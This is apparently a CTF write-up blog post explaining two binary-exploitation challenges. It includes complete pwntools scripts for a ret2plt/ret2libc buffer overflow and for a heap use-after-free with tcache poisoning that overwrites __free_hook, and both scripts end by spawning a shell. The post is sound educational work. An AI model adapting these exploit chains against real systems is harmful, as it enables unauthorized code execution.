EHAX CTF: PWN CHALLENGES
I played EHAX CTF a couple of days ago, and in this blog, I will explain how I was able to tackle the PWN challenges. In total there were…
EHAX CTF: PWN CHALLENGES

I played EHAX CTF a couple of days ago, and in this blog, I will explain how I was able to tackle the PWN challenges. In total there were two challenges; one tested ret2plt + ret2libc technique while the next one tested heap binning + tcache poisoning and exploiting a use after free vulnerability.

Heap binning is a memory management technique used by allocators (like glibc’s malloc) to organize free chunks of memory into different "bins" based on their sizes, optimizing allocation and deallocation. Each bin holds chunks of similar sizes, with specific bins for small, large, and very large chunks (e.g., fastbins, smallbins, largebins, and unsorted bins). When a program requests memory, the allocator checks the appropriate bin for a suitable free chunk, reducing search time and fragmentation.
The whole essense of binning therefore is to improve efficiency by grouping chunks into categories, enabling faster allocation and reuse of memory, but this introduces complexity that can be exploited in heap-based attacks.
Challenges can be found on : https://ctf.ehax.tech/challenges
Fantastic doom

Fantastic Doom was the first challenge, and its decompilation is as follows. I am using ghidra in this case:

The vulnerability here is introduced by use of gets() function as shown above. Since exploit mitigations are enabled except for canarys and PIE, we can use ret2plt technique to bypass ASLR. Following that, we can commence by using ret2libc to achiece code execution. On my previous blogs, I have explained in depth this techniques. The below script was my exploit script to achieving this:
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ["tmux","splitw","-h"]
elf = ELF("./chall")
libc = ELF("./libc.6.so")
# libc = elf.libc
if args["R"]:
p = remote("chall.ehax.tech", "4269")
else:
p = elf.process()
gdbscript = """
c
"""
sla = lambda a,b: p.sendlineafter(a,b)
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
sa = lambda a,b: p.sendlineafter(a,b)
ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
rl = lambda : p.recvline()
#gdb.attach(p, gdbscript=gdbscript)
ru(b"Enter authcode:")
# 0x7ffd4b982418: 0x62616172 # offset 168
# 0x0000000000400973 : pop rdi ; ret
padding = 168
pop_rdi = 0x400973
payload = flat(
b'A' * padding,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
sl(payload)
leak = u64(ru(b"Hemlo").split(b"\n")[1].ljust(8, b"\x00"))
log.info(f"Leaked libc address of puts : {hex(leak)}")
libc.address = leak - libc.sym.puts
log.info(f"Calculated libc address : {hex(libc.address)}")
# 0x000000000040061e : ret
ret = 0x000000000040061e
payload = flat(
b'A' * padding,
ret,
pop_rdi,
next(libc.search(b"/bin/sh\x00")),
libc.sym.system
)
sl(payload)
p.interactive()
Cash Memo

Cash memo, the second pwn challenge, was a bit complicated but straight forward. There is a use after free in that when we free a chunk, the index keeping track of the chunks is deleted but a dangling pointer to the freed chunk is left.

All mitigation techniques are enabled on this binary, so we need to find a way to leak a libc address. One straightforward method is to allocate chunks large enough that, when freed, they are added to the unsorted bin, which is a doubly linked list. The node of this list typically contain a libc address. By using the program’s view functionality, we can read this address. To prevent chunk consolidation during freeing, we must allocate two or more such chunks. This ensures that the freed chunks remain in the unsorted bin, allowing us to leak the libc address successfully.
Having bypassed ASLR successfully, we can make use of the use after free + tcache poisoning to drop into a shell. TCache (Thread Local Caching) bins in glibc’s memory allocator are actually LIFO (Last-In, First-Out) structures, meaning the last chunk freed into a TCache bin is the first chunk to be allocated.
Using use after free, we can manipulate the pointer to first chunk to point to __free_hook(), then free a chunk whose data will contain string “/bin/sh”, thus droping into a shell.
The exploit script is as follows:
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
import string
context.update(arch="amd64",os="linux")
context.terminal = ["tmux","splitw","-h"]
elf = ELF("./chall_patched")
libc = elf.libc
if args["R"]:
p = remote("chall.ehax.tech", "1925")
else:
p = elf.process()
gdbscript = """
c
"""
sla = lambda a,b: p.sendlineafter(a,b)
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
sa = lambda a,b: p.sendlineafter(a,b)
ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
rl = lambda : p.recvline()
gdb.attach(p, gdbscript=gdbscript)
def malloc(idx, size, data):
sl(b"1")
sla(b"which index?", str(idx).encode())
sla(b"how big?", str(size).encode())
sla(b"first payload?", data)
def delete(idx):
sla(b">", b"2")
sla(b"which index?", str(idx).encode())
def edit(idx, data):
sla(b">", b"3")
sla(b">", str(idx).encode())
sla(b"> ", data)
def view(idx):
sl(b"4")
sla(b"which index?", str(idx).encode())
rl()
return rl()
def main():
# allocate two large chunks, to avoid consolidation during free-ing the chunk
malloc(0, 0x500, b"A")
malloc(1, 0x500, b"B")
malloc(2, 0x500, b"A")
delete(1)
# Leak libc
leak = u64(view(1)[2:].strip(b"\n").ljust(8, b"\x00"))
log.success(f"Leaked libc address {hex(leak)}")
libc.address = leak - 0x1ecbe0
log.success(f"Calculated libc base address {hex(libc.address)}")
# tcache poisoning + uaf
malloc(3, 0x80 , b"Y")
malloc(4, 0x80 , b"Z")
delete(3)
delete(4)
edit(4, p64(libc.sym.__free_hook))
log.success(f"Libc sym __free_hook() @ {hex(libc.sym.__free_hook)}")
log.success(f"Libc sym system() @ {hex(libc.sym.system)}")
malloc(5, 0x80, b"/bin/sh")
malloc(6, 0x80, b"")
edit(6, p64(libc.sym.system))
delete(5)
main()
p.interactive()
It was a really nice CTF pwn challenges wise. I really enjoyed and I hope you enjoyed too reading about the challenges. Adios!
메타데이터
- post_id
- d68d6a34ee76
- slug
- ehax-ctf-pwn-challenges-d68d6a34ee76
- url
- https://medium.com/@trustie/ehax-ctf-pwn-challenges-d68d6a34ee76
- canonical_url
- https://medium.com/@trustie/ehax-ctf-pwn-challenges-d68d6a34ee76
- author_url
- https://medium.com/@trustie
- status
- ok
- fetched_at
- 2026-06-26 06:47:43